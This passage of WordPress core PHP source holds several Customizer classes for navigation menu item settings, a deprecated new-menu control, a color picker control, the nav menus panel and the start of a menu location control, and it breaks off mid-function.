	 * When status is inserted, the placeholder post ID is stored in $previous_post_id.
	 * When status is error, the error is stored in $update_error.
	 *
	 * @since 4.3.0
	 * @var string updated|inserted|deleted|error
	 *
	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
	 * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response()
	 */
	public $update_status;

	/**
	 * Any error object returned by wp_update_nav_menu_item() when setting is updated.
	 *
	 * @since 4.3.0
	 * @var WP_Error
	 *
	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
	 * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response()
	 */
	public $update_error;

	/**
	 * Constructor.
	 *
	 * Any supplied $args override class property defaults.
	 *
	 * @since 4.3.0
	 *
	 * @throws Exception If $id is not valid for this setting type.
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      A specific ID of the setting.
	 *                                      Can be a theme mod or option name.
	 * @param array                $args    Optional. Setting arguments.
	 */
	public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
		if ( empty( $manager->nav_menus ) ) {
			throw new Exception( 'Expected WP_Customize_Manager::$nav_menus to be set.' );
		}

		if ( ! preg_match( self::ID_PATTERN, $id, $matches ) ) {
			throw new Exception( "Illegal widget setting ID: $id" );
		}

		$this->post_id = (int) $matches['id'];
		add_action( 'wp_update_nav_menu_item', array( $this, 'flush_cached_value' ), 10, 2 );

		parent::__construct( $manager, $id, $args );

		// Ensure that an initially-supplied value is valid.
		if ( isset( $this->value ) ) {
			$this->populate_value();
			foreach ( array_diff( array_keys( $this->default ), array_keys( $this->value ) ) as $missing ) {
				throw new Exception( "Supplied nav_menu_item value missing property: $missing" );
			}
		}
	}

	/**
	 * Clear the cached value when this nav menu item is updated.
	 *
	 * @since 4.3.0
	 *
	 * @param int $menu_id       The term ID for the menu.
	 * @param int $menu_item_id  The post ID for the menu item.
	 */
	public function flush_cached_value( $menu_id, $menu_item_id ) {
		unset( $menu_id );
		if ( $menu_item_id === $this->post_id ) {
			$this->value = null;
		}
	}

	/**
	 * Get the instance data for a given nav_menu_item setting.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_setup_nav_menu_item()
	 *
	 * @return array|false Instance data array, or false if the item is marked for deletion.
	 */
	public function value() {
		if ( $this->is_previewed && get_current_blog_id() === $this->_previewed_blog_id ) {
			$undefined  = new stdClass(); // Symbol.
			$post_value = $this->post_value( $undefined );

			if ( $undefined === $post_value ) {
				$value = $this->_original_value;
			} else {
				$value = $post_value;
			}
			if ( ! empty( $value ) && empty( $value['original_title'] ) ) {
				$value['original_title'] = $this->get_original_title( (object) $value );
			}
		} elseif ( isset( $this->value ) ) {
			$value = $this->value;
		} else {
			$value = false;

			// Note that an ID of less than one indicates a nav_menu not yet inserted.
			if ( $this->post_id > 0 ) {
				$post = get_post( $this->post_id );
				if ( $post && self::POST_TYPE === $post->post_type ) {
					$is_title_empty = empty( $post->post_title );
					$value          = (array) wp_setup_nav_menu_item( $post );
					if ( $is_title_empty ) {
						$value['title'] = '';
					}
				}
			}

			if ( ! is_array( $value ) ) {
				$value = $this->default;
			}

			// Cache the value for future calls to avoid having to re-call wp_setup_nav_menu_item().
			$this->value = $value;
			$this->populate_value();
			$value = $this->value;
		}

		if ( ! empty( $value ) && empty( $value['type_label'] ) ) {
			$value['type_label'] = $this->get_type_label( (object) $value );
		}

		return $value;
	}

	/**
	 * Get original title.
	 *
	 * @since 4.7.0
	 *
	 * @param object $item Nav menu item.
	 * @return string The original title.
	 */
	protected function get_original_title( $item ) {
		$original_title = '';
		if ( 'post_type' === $item->type && ! empty( $item->object_id ) ) {
			$original_object = get_post( $item->object_id );
			if ( $original_object ) {
				/** This filter is documented in wp-includes/post-template.php */
				$original_title = apply_filters( 'the_title', $original_object->post_title, $original_object->ID );

				if ( '' === $original_title ) {
					/* translators: %d: ID of a post. */
					$original_title = sprintf( __( '#%d (no title)' ), $original_object->ID );
				}
			}
		} elseif ( 'taxonomy' === $item->type && ! empty( $item->object_id ) ) {
			$original_term_title = get_term_field( 'name', $item->object_id, $item->object, 'raw' );
			if ( ! is_wp_error( $original_term_title ) ) {
				$original_title = $original_term_title;
			}
		} elseif ( 'post_type_archive' === $item->type ) {
			$original_object = get_post_type_object( $item->object );
			if ( $original_object ) {
				$original_title = $original_object->labels->archives;
			}
		}
		$original_title = html_entity_decode( $original_title, ENT_QUOTES, get_bloginfo( 'charset' ) );
		return $original_title;
	}

	/**
	 * Get type label.
	 *
	 * @since 4.7.0
	 *
	 * @param object $item Nav menu item.
	 * @return string The type label.
	 */
	protected function get_type_label( $item ) {
		if ( 'post_type' === $item->type ) {
			$object = get_post_type_object( $item->object );
			if ( $object ) {
				$type_label = $object->labels->singular_name;
			} else {
				$type_label = $item->object;
			}
		} elseif ( 'taxonomy' === $item->type ) {
			$object = get_taxonomy( $item->object );
			if ( $object ) {
				$type_label = $object->labels->singular_name;
			} else {
				$type_label = $item->object;
			}
		} elseif ( 'post_type_archive' === $item->type ) {
			$type_label = __( 'Post Type Archive' );
		} else {
			$type_label = __( 'Custom Link' );
		}
		return $type_label;
	}

	/**
	 * Ensure that the value is fully populated with the necessary properties.
	 *
	 * Translates some properties added by wp_setup_nav_menu_item() and removes others.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Nav_Menu_Item_Setting::value()
	 */
	protected function populate_value() {
		if ( ! is_array( $this->value ) ) {
			return;
		}

		if ( isset( $this->value['menu_order'] ) ) {
			$this->value['position'] = $this->value['menu_order'];
			unset( $this->value['menu_order'] );
		}
		if ( isset( $this->value['post_status'] ) ) {
			$this->value['status'] = $this->value['post_status'];
			unset( $this->value['post_status'] );
		}

		if ( ! isset( $this->value['original_title'] ) ) {
			$this->value['original_title'] = $this->get_original_title( (object) $this->value );
		}

		if ( ! isset( $this->value['nav_menu_term_id'] ) && $this->post_id > 0 ) {
			$menus = wp_get_post_terms(
				$this->post_id,
				WP_Customize_Nav_Menu_Setting::TAXONOMY,
				array(
					'fields' => 'ids',
				)
			);
			if ( ! empty( $menus ) ) {
				$this->value['nav_menu_term_id'] = array_shift( $menus );
			} else {
				$this->value['nav_menu_term_id'] = 0;
			}
		}

		foreach ( array( 'object_id', 'menu_item_parent', 'nav_menu_term_id' ) as $key ) {
			if ( ! is_int( $this->value[ $key ] ) ) {
				$this->value[ $key ] = (int) $this->value[ $key ];
			}
		}
		foreach ( array( 'classes', 'xfn' ) as $key ) {
			if ( is_array( $this->value[ $key ] ) ) {
				$this->value[ $key ] = implode( ' ', $this->value[ $key ] );
			}
		}

		if ( ! isset( $this->value['title'] ) ) {
			$this->value['title'] = '';
		}

		if ( ! isset( $this->value['_invalid'] ) ) {
			$this->value['_invalid'] = false;
			$is_known_invalid        = (
				( ( 'post_type' === $this->value['type'] || 'post_type_archive' === $this->value['type'] ) && ! post_type_exists( $this->value['object'] ) )
				||
				( 'taxonomy' === $this->value['type'] && ! taxonomy_exists( $this->value['object'] ) )
			);
			if ( $is_known_invalid ) {
				$this->value['_invalid'] = true;
			}
		}

		// Remove remaining properties available on a setup nav_menu_item post object which aren't relevant to the setting value.
		$irrelevant_properties = array(
			'ID',
			'comment_count',
			'comment_status',
			'db_id',
			'filter',
			'guid',
			'ping_status',
			'pinged',
			'post_author',
			'post_content',
			'post_content_filtered',
			'post_date',
			'post_date_gmt',
			'post_excerpt',
			'post_mime_type',
			'post_modified',
			'post_modified_gmt',
			'post_name',
			'post_parent',
			'post_password',
			'post_title',
			'post_type',
			'to_ping',
		);
		foreach ( $irrelevant_properties as $property ) {
			unset( $this->value[ $property ] );
		}
	}

	/**
	 * Handle previewing the setting.
	 *
	 * @since 4.3.0
	 * @since 4.4.0 Added boolean return value.
	 *
	 * @see WP_Customize_Manager::post_value()
	 *
	 * @return bool False if method short-circuited due to no-op.
	 */
	public function preview() {
		if ( $this->is_previewed ) {
			return false;
		}

		$undefined      = new stdClass();
		$is_placeholder = ( $this->post_id < 0 );
		$is_dirty       = ( $undefined !== $this->post_value( $undefined ) );
		if ( ! $is_placeholder && ! $is_dirty ) {
			return false;
		}

		$this->is_previewed              = true;
		$this->_original_value           = $this->value();
		$this->original_nav_menu_term_id = $this->_original_value['nav_menu_term_id'];
		$this->_previewed_blog_id        = get_current_blog_id();

		add_filter( 'wp_get_nav_menu_items', array( $this, 'filter_wp_get_nav_menu_items' ), 10, 3 );

		$sort_callback = array( __CLASS__, 'sort_wp_get_nav_menu_items' );
		if ( ! has_filter( 'wp_get_nav_menu_items', $sort_callback ) ) {
			add_filter( 'wp_get_nav_menu_items', array( __CLASS__, 'sort_wp_get_nav_menu_items' ), 1000, 3 );
		}

		// @todo Add get_post_metadata filters for plugins to add their data.

		return true;
	}

	/**
	 * Filters the wp_get_nav_menu_items() result to supply the previewed menu items.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_get_nav_menu_items()
	 *
	 * @param WP_Post[] $items An array of menu item post objects.
	 * @param WP_Term   $menu  The menu object.
	 * @param array     $args  An array of arguments used to retrieve menu item objects.
	 * @return WP_Post[] Array of menu item objects.
	 */
	public function filter_wp_get_nav_menu_items( $items, $menu, $args ) {
		$this_item                = $this->value();
		$current_nav_menu_term_id = null;
		if ( isset( $this_item['nav_menu_term_id'] ) ) {
			$current_nav_menu_term_id = $this_item['nav_menu_term_id'];
			unset( $this_item['nav_menu_term_id'] );
		}

		$should_filter = (
			$menu->term_id === $this->original_nav_menu_term_id
			||
			$menu->term_id === $current_nav_menu_term_id
		);
		if ( ! $should_filter ) {
			return $items;
		}

		// Handle deleted menu item, or menu item moved to another menu.
		$should_remove = (
			false === $this_item
			||
			( isset( $this_item['_invalid'] ) && true === $this_item['_invalid'] )
			||
			(
				$this->original_nav_menu_term_id === $menu->term_id
				&&
				$current_nav_menu_term_id !== $this->original_nav_menu_term_id
			)
		);
		if ( $should_remove ) {
			$filtered_items = array();
			foreach ( $items as $item ) {
				if ( $item->db_id !== $this->post_id ) {
					$filtered_items[] = $item;
				}
			}
			return $filtered_items;
		}

		$mutated       = false;
		$should_update = (
			is_array( $this_item )
			&&
			$current_nav_menu_term_id === $menu->term_id
		);
		if ( $should_update ) {
			foreach ( $items as $item ) {
				if ( $item->db_id === $this->post_id ) {
					foreach ( get_object_vars( $this->value_as_wp_post_nav_menu_item() ) as $key => $value ) {
						$item->$key = $value;
					}
					$mutated = true;
				}
			}

			// Not found so we have to append it..
			if ( ! $mutated ) {
				$items[] = $this->value_as_wp_post_nav_menu_item();
			}
		}

		return $items;
	}

	/**
	 * Re-apply the tail logic also applied on $items by wp_get_nav_menu_items().
	 *
	 * @since 4.3.0
	 *
	 * @see wp_get_nav_menu_items()
	 *
	 * @param WP_Post[] $items An array of menu item post objects.
	 * @param WP_Term   $menu  The menu object.
	 * @param array     $args  An array of arguments used to retrieve menu item objects.
	 * @return WP_Post[] Array of menu item objects.
	 */
	public static function sort_wp_get_nav_menu_items( $items, $menu, $args ) {
		// @todo We should probably re-apply some constraints imposed by $args.
		unset( $args['include'] );

		// Remove invalid items only in front end.
		if ( ! is_admin() ) {
			$items = array_filter( $items, '_is_valid_nav_menu_item' );
		}

		if ( ARRAY_A === $args['output'] ) {
			$items = wp_list_sort(
				$items,
				array(
					$args['output_key'] => 'ASC',
				)
			);
			$i     = 1;

			foreach ( $items as $k => $item ) {
				$items[ $k ]->{$args['output_key']} = $i++;
			}
		}

		return $items;
	}

	/**
	 * Get the value emulated into a WP_Post and set up as a nav_menu_item.
	 *
	 * @since 4.3.0
	 *
	 * @return WP_Post With wp_setup_nav_menu_item() applied.
	 */
	public function value_as_wp_post_nav_menu_item() {
		$item = (object) $this->value();
		unset( $item->nav_menu_term_id );

		$item->post_status = $item->status;
		unset( $item->status );

		$item->post_type  = 'nav_menu_item';
		$item->menu_order = $item->position;
		unset( $item->position );

		if ( empty( $item->original_title ) ) {
			$item->original_title = $this->get_original_title( $item );
		}
		if ( empty( $item->title ) && ! empty( $item->original_title ) ) {
			$item->title = $item->original_title;
		}
		if ( $item->title ) {
			$item->post_title = $item->title;
		}

		// 'classes' should be an array, as in wp_setup_nav_menu_item().
		if ( isset( $item->classes ) && is_scalar( $item->classes ) ) {
			$item->classes = explode( ' ', $item->classes );
		}

		$item->ID    = $this->post_id;
		$item->db_id = $this->post_id;
		$post        = new WP_Post( (object) $item );

		if ( empty( $post->post_author ) ) {
			$post->post_author = get_current_user_id();
		}

		if ( ! isset( $post->type_label ) ) {
			$post->type_label = $this->get_type_label( $post );
		}

		// Ensure nav menu item URL is set according to linked object.
		if ( 'post_type' === $post->type && ! empty( $post->object_id ) ) {
			$post->url = get_permalink( $post->object_id );
		} elseif ( 'taxonomy' === $post->type && ! empty( $post->object ) && ! empty( $post->object_id ) ) {
			$post->url = get_term_link( (int) $post->object_id, $post->object );
		} elseif ( 'post_type_archive' === $post->type && ! empty( $post->object ) ) {
			$post->url = get_post_type_archive_link( $post->object );
		}
		if ( is_wp_error( $post->url ) ) {
			$post->url = '';
		}

		/** This filter is documented in wp-includes/nav-menu.php */
		$post->attr_title = apply_filters( 'nav_menu_attr_title', $post->attr_title );

		/** This filter is documented in wp-includes/nav-menu.php */
		$post->description = apply_filters( 'nav_menu_description', wp_trim_words( $post->description, 200 ) );

		/** This filter is documented in wp-includes/nav-menu.php */
		$post = apply_filters( 'wp_setup_nav_menu_item', $post );

		return $post;
	}

	/**
	 * Sanitize an input.
	 *
	 * Note that parent::sanitize() erroneously does wp_unslash() on $value, but
	 * we remove that in this override.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$menu_item_value` to `$value` for PHP 8 named parameter support.
	 *
	 * @param array $value The menu item value to sanitize.
	 * @return array|false|null|WP_Error Null or WP_Error if an input isn't valid. False if it is marked for deletion.
	 *                                   Otherwise the sanitized value.
	 */
	public function sanitize( $value ) {
		// Restores the more descriptive, specific name for use within this method.
		$menu_item_value = $value;

		// Menu is marked for deletion.
		if ( false === $menu_item_value ) {
			return $menu_item_value;
		}

		// Invalid.
		if ( ! is_array( $menu_item_value ) ) {
			return null;
		}

		$default                     = array(
			'object_id'        => 0,
			'object'           => '',
			'menu_item_parent' => 0,
			'position'         => 0,
			'type'             => 'custom',
			'title'            => '',
			'url'              => '',
			'target'           => '',
			'attr_title'       => '',
			'description'      => '',
			'classes'          => '',
			'xfn'              => '',
			'status'           => 'publish',
			'original_title'   => '',
			'nav_menu_term_id' => 0,
			'_invalid'         => false,
		);
		$menu_item_value             = array_merge( $default, $menu_item_value );
		$menu_item_value             = wp_array_slice_assoc( $menu_item_value, array_keys( $default ) );
		$menu_item_value['position'] = (int) $menu_item_value['position'];

		foreach ( array( 'object_id', 'menu_item_parent', 'nav_menu_term_id' ) as $key ) {
			// Note we need to allow negative-integer IDs for previewed objects not inserted yet.
			$menu_item_value[ $key ] = (int) $menu_item_value[ $key ];
		}

		foreach ( array( 'type', 'object', 'target' ) as $key ) {
			$menu_item_value[ $key ] = sanitize_key( $menu_item_value[ $key ] );
		}

		foreach ( array( 'xfn', 'classes' ) as $key ) {
			$value = $menu_item_value[ $key ];
			if ( ! is_array( $value ) ) {
				$value = explode( ' ', $value );
			}
			$menu_item_value[ $key ] = implode( ' ', array_map( 'sanitize_html_class', $value ) );
		}

		$menu_item_value['original_title'] = sanitize_text_field( $menu_item_value['original_title'] );

		// Apply the same filters as when calling wp_insert_post().

		/** This filter is documented in wp-includes/post.php */
		$menu_item_value['title'] = wp_unslash( apply_filters( 'title_save_pre', wp_slash( $menu_item_value['title'] ) ) );

		/** This filter is documented in wp-includes/post.php */
		$menu_item_value['attr_title'] = wp_unslash( apply_filters( 'excerpt_save_pre', wp_slash( $menu_item_value['attr_title'] ) ) );

		/** This filter is documented in wp-includes/post.php */
		$menu_item_value['description'] = wp_unslash( apply_filters( 'content_save_pre', wp_slash( $menu_item_value['description'] ) ) );

		if ( '' !== $menu_item_value['url'] ) {
			$menu_item_value['url'] = sanitize_url( $menu_item_value['url'] );
			if ( '' === $menu_item_value['url'] ) {
				return new WP_Error( 'invalid_url', __( 'Invalid URL.' ) ); // Fail sanitization if URL is invalid.
			}
		}
		if ( 'publish' !== $menu_item_value['status'] ) {
			$menu_item_value['status'] = 'draft';
		}

		$menu_item_value['_invalid'] = (bool) $menu_item_value['_invalid'];

		/** This filter is documented in wp-includes/class-wp-customize-setting.php */
		return apply_filters( "customize_sanitize_{$this->id}", $menu_item_value, $this );
	}

	/**
	 * Creates/updates the nav_menu_item post for this setting.
	 *
	 * Any created menu items will have their assigned post IDs exported to the client
	 * via the {@see 'customize_save_response'} filter. Likewise, any errors will be
	 * exported to the client via the customize_save_response() filter.
	 *
	 * To delete a menu, the client can send false as the value.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_update_nav_menu_item()
	 *
	 * @param array|false $value The menu item array to update. If false, then the menu item will be deleted
	 *                           entirely. See WP_Customize_Nav_Menu_Item_Setting::$default for what the value
	 *                           should consist of.
	 * @return null|void
	 */
	protected function update( $value ) {
		if ( $this->is_updated ) {
			return;
		}

		$this->is_updated = true;
		$is_placeholder   = ( $this->post_id < 0 );
		$is_delete        = ( false === $value );

		// Update the cached value.
		$this->value = $value;

		add_filter( 'customize_save_response', array( $this, 'amend_customize_save_response' ) );

		if ( $is_delete ) {
			// If the current setting post is a placeholder, a delete request is a no-op.
			if ( $is_placeholder ) {
				$this->update_status = 'deleted';
			} else {
				$r = wp_delete_post( $this->post_id, true );

				if ( false === $r ) {
					$this->update_error  = new WP_Error( 'delete_failure' );
					$this->update_status = 'error';
				} else {
					$this->update_status = 'deleted';
				}
				// @todo send back the IDs for all associated nav menu items deleted, so these settings (and controls) can be removed from Customizer?
			}
		} else {

			// Handle saving menu items for menus that are being newly-created.
			if ( $value['nav_menu_term_id'] < 0 ) {
				$nav_menu_setting_id = sprintf( 'nav_menu[%s]', $value['nav_menu_term_id'] );
				$nav_menu_setting    = $this->manager->get_setting( $nav_menu_setting_id );

				if ( ! $nav_menu_setting || ! ( $nav_menu_setting instanceof WP_Customize_Nav_Menu_Setting ) ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'unexpected_nav_menu_setting' );
					return;
				}

				if ( false === $nav_menu_setting->save() ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'nav_menu_setting_failure' );
					return;
				}

				if ( (int) $value['nav_menu_term_id'] !== $nav_menu_setting->previous_term_id ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'unexpected_previous_term_id' );
					return;
				}

				$value['nav_menu_term_id'] = $nav_menu_setting->term_id;
			}

			// Handle saving a nav menu item that is a child of a nav menu item being newly-created.
			if ( $value['menu_item_parent'] < 0 ) {
				$parent_nav_menu_item_setting_id = sprintf( 'nav_menu_item[%s]', $value['menu_item_parent'] );
				$parent_nav_menu_item_setting    = $this->manager->get_setting( $parent_nav_menu_item_setting_id );

				if ( ! $parent_nav_menu_item_setting || ! ( $parent_nav_menu_item_setting instanceof WP_Customize_Nav_Menu_Item_Setting ) ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'unexpected_nav_menu_item_setting' );
					return;
				}

				if ( false === $parent_nav_menu_item_setting->save() ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'nav_menu_item_setting_failure' );
					return;
				}

				if ( (int) $value['menu_item_parent'] !== $parent_nav_menu_item_setting->previous_post_id ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'unexpected_previous_post_id' );
					return;
				}

				$value['menu_item_parent'] = $parent_nav_menu_item_setting->post_id;
			}

			// Insert or update menu.
			$menu_item_data = array(
				'menu-item-object-id'   => $value['object_id'],
				'menu-item-object'      => $value['object'],
				'menu-item-parent-id'   => $value['menu_item_parent'],
				'menu-item-position'    => $value['position'],
				'menu-item-type'        => $value['type'],
				'menu-item-title'       => $value['title'],
				'menu-item-url'         => $value['url'],
				'menu-item-description' => $value['description'],
				'menu-item-attr-title'  => $value['attr_title'],
				'menu-item-target'      => $value['target'],
				'menu-item-classes'     => $value['classes'],
				'menu-item-xfn'         => $value['xfn'],
				'menu-item-status'      => $value['status'],
			);

			$r = wp_update_nav_menu_item(
				$value['nav_menu_term_id'],
				$is_placeholder ? 0 : $this->post_id,
				wp_slash( $menu_item_data )
			);

			if ( is_wp_error( $r ) ) {
				$this->update_status = 'error';
				$this->update_error  = $r;
			} else {
				if ( $is_placeholder ) {
					$this->previous_post_id = $this->post_id;
					$this->post_id          = $r;
					$this->update_status    = 'inserted';
				} else {
					$this->update_status = 'updated';
				}
			}
		}
	}

	/**
	 * Export data for the JS client.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
	 *
	 * @param array $data Additional information passed back to the 'saved' event on `wp.customize`.
	 * @return array Save response data.
	 */
	public function amend_customize_save_response( $data ) {
		if ( ! isset( $data['nav_menu_item_updates'] ) ) {
			$data['nav_menu_item_updates'] = array();
		}

		$data['nav_menu_item_updates'][] = array(
			'post_id'          => $this->post_id,
			'previous_post_id' => $this->previous_post_id,
			'error'            => $this->update_error ? $this->update_error->get_error_code() : null,
			'status'           => $this->update_status,
		);
		return $data;
	}
}
<?php
/**
 * Customize API: WP_Customize_New_Menu_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 * @deprecated 4.9.0 This file is no longer used as of the menu creation UX introduced in #40104.
 */

_deprecated_file( basename( __FILE__ ), '4.9.0' );

/**
 * Customize control class for new menus.
 *
 * @since 4.3.0
 * @deprecated 4.9.0 This class is no longer used as of the menu creation UX introduced in #40104.
 *
 * @see WP_Customize_Control
 */
class WP_Customize_New_Menu_Control extends WP_Customize_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'new_menu';

	/**
	 * Constructor.
	 *
	 * @since 4.9.0
	 * @deprecated 4.9.0
	 *
	 * @see WP_Customize_Control::__construct()
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      The control ID.
	 * @param array                $args    Optional. Arguments to override class property defaults.
	 *                                      See WP_Customize_Control::__construct() for information
	 *                                      on accepted arguments. Default empty array.
	 */
	public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
		_deprecated_function( __METHOD__, '4.9.0' );
		parent::__construct( $manager, $id, $args );
	}

	/**
	 * Render the control's content.
	 *
	 * @since 4.3.0
	 * @deprecated 4.9.0
	 */
	public function render_content() {
		_deprecated_function( __METHOD__, '4.9.0' );
		?>
		<button type="button" class="button button-primary" id="create-new-menu-submit"><?php _e( 'Create Menu' ); ?></button>
		<span class="spinner"></span>
		<?php
	}
}
<?php
/**
 * Customize API: WP_Customize_Color_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Color Control class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Color_Control extends WP_Customize_Control {
	/**
	 * Type.
	 *
	 * @var string
	 */
	public $type = 'color';

	/**
	 * Statuses.
	 *
	 * @var array
	 */
	public $statuses;

	/**
	 * Mode.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $mode = 'full';

	/**
	 * Constructor.
	 *
	 * @since 3.4.0
	 *
	 * @see WP_Customize_Control::__construct()
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      Control ID.
	 * @param array                $args    Optional. Arguments to override class property defaults.
	 *                                      See WP_Customize_Control::__construct() for information
	 *                                      on accepted arguments. Default empty array.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		$this->statuses = array( '' => __( 'Default' ) );
		parent::__construct( $manager, $id, $args );
	}

	/**
	 * Enqueue scripts/styles for the color picker.
	 *
	 * @since 3.4.0
	 */
	public function enqueue() {
		wp_enqueue_script( 'wp-color-picker' );
		wp_enqueue_style( 'wp-color-picker' );
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 3.4.0
	 * @uses WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();
		$this->json['statuses']     = $this->statuses;
		$this->json['defaultValue'] = $this->setting->default;
		$this->json['mode']         = $this->mode;
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 *
	 * @since 3.4.0
	 */
	public function render_content() {}

	/**
	 * Render a JS template for the content of the color picker control.
	 *
	 * @since 4.1.0
	 */
	public function content_template() {
		?>
		<# var defaultValue = '#RRGGBB', defaultValueAttr = '',
			isHueSlider = data.mode === 'hue';
		if ( data.defaultValue && _.isString( data.defaultValue ) && ! isHueSlider ) {
			if ( '#' !== data.defaultValue.substring( 0, 1 ) ) {
				defaultValue = '#' + data.defaultValue;
			} else {
				defaultValue = data.defaultValue;
			}
			defaultValueAttr = ' data-default-color=' + defaultValue; // Quotes added automatically.
		} #>
		<# if ( data.label ) { #>
			<span class="customize-control-title">{{{ data.label }}}</span>
		<# } #>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>
		<div class="customize-control-content">
			<label><span class="screen-reader-text">{{{ data.label }}}</span>
			<# if ( isHueSlider ) { #>
				<input class="color-picker-hue" type="text" data-type="hue" />
			<# } else { #>
				<input class="color-picker-hex" type="text" maxlength="7" placeholder="{{ defaultValue }}" {{ defaultValueAttr }} />
			<# } #>
			</label>
		</div>
		<?php
	}
}
<?php
/**
 * Customize API: WP_Customize_Nav_Menus_Panel class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Nav Menus Panel Class
 *
 * Needed to add screen options.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Panel
 */
class WP_Customize_Nav_Menus_Panel extends WP_Customize_Panel {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menus';

	/**
	 * Render screen options for Menus.
	 *
	 * @since 4.3.0
	 */
	public function render_screen_options() {
		// Adds the screen options.
		require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
		add_filter( 'manage_nav-menus_columns', 'wp_nav_menu_manage_columns' );

		// Display screen options.
		$screen = WP_Screen::get( 'nav-menus.php' );
		$screen->render_screen_options( array( 'wrap' => false ) );
	}

	/**
	 * Returns the advanced options for the nav menus page.
	 *
	 * Link title attribute added as it's a relatively advanced concept for new users.
	 *
	 * @since 4.3.0
	 * @deprecated 4.5.0 Deprecated in favor of wp_nav_menu_manage_columns().
	 */
	public function wp_nav_menu_manage_columns() {
		_deprecated_function( __METHOD__, '4.5.0', 'wp_nav_menu_manage_columns' );
		require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
		return wp_nav_menu_manage_columns();
	}

	/**
	 * An Underscore (JS) template for this panel's content (but not its container).
	 *
	 * Class variables for this panel class are available in the `data` JS object;
	 * export custom variables by overriding WP_Customize_Panel::json().
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Panel::print_template()
	 */
	protected function content_template() {
		?>
		<li class="panel-meta customize-info accordion-section <# if ( ! data.description ) { #> cannot-expand<# } #>">
			<button type="button" class="customize-panel-back" tabindex="-1">
				<span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Back' );
					?>
				</span>
			</button>
			<div class="accordion-section-title">
				<span class="preview-notice">
					<?php
					/* translators: %s: The site/panel title in the Customizer. */
					printf( __( 'You are customizing %s' ), '<strong class="panel-title">{{ data.title }}</strong>' );
					?>
				</span>
				<button type="button" class="customize-help-toggle dashicons dashicons-editor-help" aria-expanded="false">
					<span class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Help' );
						?>
					</span>
				</button>
				<button type="button" class="customize-screen-options-toggle" aria-expanded="false">
					<span class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Menu Options' );
						?>
					</span>
				</button>
			</div>
			<# if ( data.description ) { #>
			<div class="description customize-panel-description">{{{ data.description }}}</div>
			<# } #>
			<div id="screen-options-wrap">
				<?php $this->render_screen_options(); ?>
			</div>
		</li>
		<?php
		// NOTE: The following is a workaround for an inability to treat (and thus label) a list of sections as a whole.
		?>
		<li class="customize-control-title customize-section-title-nav_menus-heading"><?php _e( 'Menus' ); ?></li>
		<?php
	}
}
<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Location_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Menu Location Control Class.
 *
 * This custom control is only needed for JS.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Nav_Menu_Location_Control extends WP_Customize_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menu_location';

	/**
	 * Location ID.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $location_id = '';

	/**
	 * Refresh the parameters passed to JavaScript via JSON.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();
		$this->json['locationId'] = $this->location_id;
	}

	/**
	 * Render content just like a normal select control.
	 *
	 * @since 4.3.0
	 * @since 4.9.0 Added a button to create menus.
	 */
	public function render_content() {
		if ( empty( $this->choices ) ) {
			return;
		}

		$value_hidden_class    = '';
		$no_value_hidden_class = '';
		if ( $this->value() ) {
			$value_hidden_class = ' hidden';
		} else {
			$no_value_hidden_class = ' hidden';
		}
		?>
		<label>
			<?php if ( ! empty( $this->label ) ) : ?>
			<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
			<?php endif; ?>

			<?php if ( ! empty( $this->description ) ) : ?>
			<span class="description customize-control-description"><?php echo $this->description; ?></span>
			<?php endif; ?>

			<select <?php $this->link(); ?>>
				<?php
				foreach ( $this->choices as $value => $label ) :
